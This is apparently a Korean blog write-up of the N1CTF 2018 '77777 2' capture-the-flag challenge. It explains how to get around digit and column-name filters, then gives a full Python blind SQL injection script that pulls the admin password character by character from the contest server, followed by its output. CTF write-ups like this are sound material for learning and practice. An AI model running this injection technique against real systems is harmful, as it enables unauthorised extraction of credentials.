77777 이라는 이전 문제와 같은 유형인데 필터링이 좀더 빡세져있다.
이전 익스플로잇을 비슷하게 써주면 되는데 추가된 필터링 중 숫자 2~9 중 특정 몇개 숫자를 필터링하고 있어서 1+1+1+1+1+1+1+1+1 이런식으로 숫자늘려서 사용했다. 그리고 flag인 admin password 컬럼이 (pw)
요런식으로 컬럼명 앞뒤에 문자가 있으면 필터링되고있어서 공백줘서 ( pw ) 요런식으로 우회해줬다.
페이로드는 다음과 같다.
import urllib2
def request(data):
url = "http://47.52.137.90:20000"
req = urllib2.Request(url,data)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
response = urllib2.urlopen(req).read()
if "1001" in str(response):
return True
else:
return False
length = 0
for i in range(0,100):
payload = "flag=1&hi=" + urllib2.quote("+if(strcmp(length( pw ),1"+"+1"*i+"),0,1000)")
if request(payload)==True:
print "[*]Find Admin Length = " + str(i+1)
length = i+1
break
password = ""
strings = "abcdefghijklmnopqrstuvxzyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!"
for i in range(0,length):
for j in range(0,len(strings)):
payload = "flag=1&hi=" + urllib2.quote("+if(strcmp(substr( pw ,1" + "+1"*i + ",1),'" + strings[j] + "'),0,1000)")
if request(payload)==True:
password += strings[j]
break
print "[*]Find Admin Password = "+password
print "[*]Find flag= N1CTF{"+password+"}"
[*]Find Admin Length = 22
[*]Find Admin Password = hahah777a7aha77777aaaa
[*]Find flag= N1CTF{hahah777a7aha77777aaaa}
'CTF > Writeup' 카테고리의 다른 글
SunshineCTF Home Sweet Home (0) | 2018.04.07 |
---|---|
SunshineCTF Evaluation (0) | 2018.04.07 |
N1CTF 2018 funning eating cms (0) | 2018.03.12 |
N1CTF 2018 77777 (0) | 2018.03.12 |
Truststealth CTF 2018 Custom Storage (DelspoN) 500 (0) | 2018.03.08 |